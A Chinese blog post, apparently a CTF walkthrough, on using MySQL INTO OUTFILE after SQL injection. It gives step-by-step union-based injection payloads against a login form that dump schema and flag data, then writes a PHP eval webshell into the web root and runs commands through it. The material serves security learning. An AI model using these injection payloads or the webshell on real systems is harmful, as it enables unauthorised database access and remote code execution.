当前位置: 首页 > article >正文

【into outfile写文件】

简介

请添加图片描述

select * from user into outfile 'C:/Users/ichunqiu/Desktop/PhpStudy2018/PHPTutorial/WWW/1.txt';

用法的意思就是把user表中查询到的所有字段都导出到1.txt文件中

我们之前还有学到dumpfile,单是它只能导出一条数据

请添加图片描述

写入shell

请添加图片描述

测试注入点
username=admin&password=a

闭合
username=admin' and 1=1%23&password=a

测试列数
username=admin' order by 3%23&password=a

测试回显位
username=a' union select 1,2,3%23&password=a

查库名
username=a' union select 1,database(),3%23&password=a

查表名
username=a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=a

查列名
username=a' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23&password=a

查flag
username=a' union select 1,flag,3 from flag%23&password=a

Flag提示了一个路径,使用load_file读取

username=a' union select 1,load_file('C:/phpstudy_pro/WWW/7/7/flag.txt'),3 %23&password=a

提示hacker 过滤了load_file
不能用load_file读文件,现在就可以利用into outfile 来写入一个webshell,然后拿到flag

写入webshell
select "<?php eval($_POST['shell']);?>" into outfile 'C:/phpstudy_pro/WWW/shell.php';

post
shell=phpinfo();
成功执行phpinfo

拿flag
shell=readfile('flag.txt');

利用文件包含

请添加图片描述


http://www.kler.cn/news/356658.html

相关文章:

  • FLINK内存管理解析,taskmanager、jobmanager
  • Vue 3.0新增setup的作用
  • 在各大媒体报纸上刊登自己的文章用什么投稿方法发表快?
  • Java 引用数据类型详解、字符串的不可变性、如何处理字符串的内存管理、String Pool 及其优化
  • 2013 lost connection to MySQL server during query
  • 【Linux】 Linux 释放内存脚本
  • MacOS安装MySQL和Navicat
  • Jupyter notebook中更改字体大小
  • FFMPEG录屏(19)--- 枚举Windows下的屏幕列表,并获取名称、缩略图
  • 5、JavaScript(二) 对象+DOM
  • 如何优雅的处理解析JSON数据
  • MyBatis实践:提高持久层数据处理效率
  • Rotary Position Embedding(RoPE)在视觉Transformer中的应用与提升
  • 一次性入门三款分布式定时任务调度框架:Quartz、ElasticJob3.0、xxl-job
  • C++参数入栈顺序为什么从右向左
  • (接上篇问题回答)OWASP Top 10 漏洞详解:基础知识、面试常问问题与实际应用
  • 快速查看平台信息脚本(完善中...)
  • 父子元素中只有子元素设置margin-bottom的问题
  • SpringBoot框架下的桂林旅游资源整合
  • 爬虫结合项目实战